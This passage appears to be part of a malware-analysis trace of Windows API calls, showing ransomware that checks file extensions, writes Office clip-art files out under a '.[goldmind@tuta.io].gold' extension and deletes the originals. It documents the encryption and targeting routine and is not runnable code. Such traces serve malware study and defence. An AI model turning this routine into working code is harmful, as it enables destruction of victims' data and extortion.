lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.115] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.115] lstrlenW (lpString="BS00224_.WMF") returned 12 [0055.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.115] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1588) returned 1 [0055.115] CloseHandle (hObject=0x218) returned 1 [0055.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0055.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.115] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.115] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.116] GetLastError () returned 0x0 [0055.116] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x634, lpOverlapped=0x0) returned 1 [0055.169] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x640, lpOverlapped=0x0) returned 1 [0055.172] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.172] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.172] SetEndOfFile (hFile=0x200) returned 1 [0055.172] CloseHandle (hObject=0x200) returned 1 [0055.173] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.173] SetEndOfFile (hFile=0x218) returned 1 [0055.173] CloseHandle (hObject=0x218) returned 1 [0055.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString=".doc") returned 4 [0055.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString=".docx") returned 5 [0055.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.174] lstrlenW (lpString=".pdf") returned 4 [0055.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString=".xls") returned 4 [0055.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.174] lstrlenW (lpString=".xlsx") returned 5 [0055.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.174] lstrlenW (lpString=".ppt") returned 4 [0055.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString=".zip") returned 4 [0055.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.174] lstrlenW (lpString=".rar") returned 4 [0055.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString=".bz2") returned 4 [0055.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString=".7z") returned 3 [0055.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString=".dbf") returned 4 [0055.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString=".1cd") returned 4 [0055.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString=".jpg") returned 4 [0055.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.174] lstrlenW (lpString=".doc") returned 4 [0055.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.174] lstrlenW (lpString=".docx") returned 5 [0055.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.174] lstrlenW (lpString=".pdf") returned 4 [0055.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.175] lstrlenW (lpString=".xls") returned 4 [0055.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.175] lstrlenW (lpString=".xlsx") returned 5 [0055.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.175] lstrlenW (lpString=".ppt") returned 4 [0055.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.175] lstrlenW (lpString=".zip") returned 4 [0055.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.175] lstrlenW (lpString=".rar") returned 4 [0055.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.175] lstrlenW (lpString=".bz2") returned 4 [0055.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.175] lstrlenW (lpString=".7z") returned 3 [0055.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.175] lstrlenW (lpString=".dbf") returned 4 [0055.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.175] lstrlenW (lpString=".1cd") returned 4 [0055.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0055.175] lstrlenW (lpString=".jpg") returned 4 [0055.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.175] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.175] lstrlenW (lpString="BS00443_.WMF") returned 12 [0055.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.176] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1676) returned 1 [0055.176] CloseHandle (hObject=0x218) returned 1 [0055.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0055.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.176] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.176] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.176] GetLastError () returned 0x0 [0055.176] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x68c, lpOverlapped=0x0) returned 1 [0055.177] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x690, lpOverlapped=0x0) returned 1 [0055.178] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.178] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.178] SetEndOfFile (hFile=0x200) returned 1 [0055.178] CloseHandle (hObject=0x200) returned 1 [0055.178] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.178] SetEndOfFile (hFile=0x218) returned 1 [0055.179] CloseHandle (hObject=0x218) returned 1 [0055.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0055.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.179] lstrlenW (lpString=".doc") returned 4 [0055.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.179] lstrlenW (lpString=".docx") returned 5 [0055.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.180] lstrlenW (lpString=".pdf") returned 4 [0055.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString=".xls") returned 4 [0055.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.180] lstrlenW (lpString=".xlsx") returned 5 [0055.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.180] lstrlenW (lpString=".ppt") returned 4 [0055.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString=".zip") returned 4 [0055.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.180] lstrlenW (lpString=".rar") returned 4 [0055.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString=".bz2") returned 4 [0055.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString=".7z") returned 3 [0055.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString=".dbf") returned 4 [0055.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString=".1cd") returned 4 [0055.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString=".jpg") returned 4 [0055.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString=".doc") returned 4 [0055.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString=".docx") returned 5 [0055.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.180] lstrlenW (lpString=".pdf") returned 4 [0055.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString=".xls") returned 4 [0055.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.180] lstrlenW (lpString=".xlsx") returned 5 [0055.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.180] lstrlenW (lpString=".ppt") returned 4 [0055.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.180] lstrlenW (lpString=".zip") returned 4 [0055.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.180] lstrlenW (lpString=".rar") returned 4 [0055.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.181] lstrlenW (lpString=".bz2") returned 4 [0055.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.181] lstrlenW (lpString=".7z") returned 3 [0055.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.181] lstrlenW (lpString=".dbf") returned 4 [0055.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.181] lstrlenW (lpString=".1cd") returned 4 [0055.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0055.181] lstrlenW (lpString=".jpg") returned 4 [0055.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.181] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.181] lstrlenW (lpString="BS00444_.WMF") returned 12 [0055.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.182] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3896) returned 1 [0055.182] CloseHandle (hObject=0x218) returned 1 [0055.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0055.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.182] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.182] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.182] GetLastError () returned 0x0 [0055.182] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xf38, lpOverlapped=0x0) returned 1 [0055.183] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0055.184] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.184] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.185] SetEndOfFile (hFile=0x200) returned 1 [0055.185] CloseHandle (hObject=0x200) returned 1 [0055.185] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.185] SetEndOfFile (hFile=0x218) returned 1 [0055.186] CloseHandle (hObject=0x218) returned 1 [0055.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0055.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.186] lstrlenW (lpString=".doc") returned 4 [0055.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.186] lstrlenW (lpString=".docx") returned 5 [0055.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.186] lstrlenW (lpString=".pdf") returned 4 [0055.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.186] lstrlenW (lpString=".xls") returned 4 [0055.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.186] lstrlenW (lpString=".xlsx") returned 5 [0055.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.186] lstrlenW (lpString=".ppt") returned 4 [0055.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.186] lstrlenW (lpString=".zip") returned 4 [0055.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.186] lstrlenW (lpString=".rar") returned 4 [0055.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.186] lstrlenW (lpString=".bz2") returned 4 [0055.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.186] lstrlenW (lpString=".7z") returned 3 [0055.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".dbf") returned 4 [0055.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".1cd") returned 4 [0055.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".jpg") returned 4 [0055.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".doc") returned 4 [0055.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString=".docx") returned 5 [0055.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.187] lstrlenW (lpString=".pdf") returned 4 [0055.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString=".xls") returned 4 [0055.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.187] lstrlenW (lpString=".xlsx") returned 5 [0055.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.187] lstrlenW (lpString=".ppt") returned 4 [0055.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".zip") returned 4 [0055.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.187] lstrlenW (lpString=".rar") returned 4 [0055.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString=".bz2") returned 4 [0055.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString=".7z") returned 3 [0055.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".dbf") returned 4 [0055.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".1cd") returned 4 [0055.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0055.187] lstrlenW (lpString=".jpg") returned 4 [0055.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.187] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.187] lstrlenW (lpString="BS00445_.WMF") returned 12 [0055.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.188] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3796) returned 1 [0055.188] CloseHandle (hObject=0x218) returned 1 [0055.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: 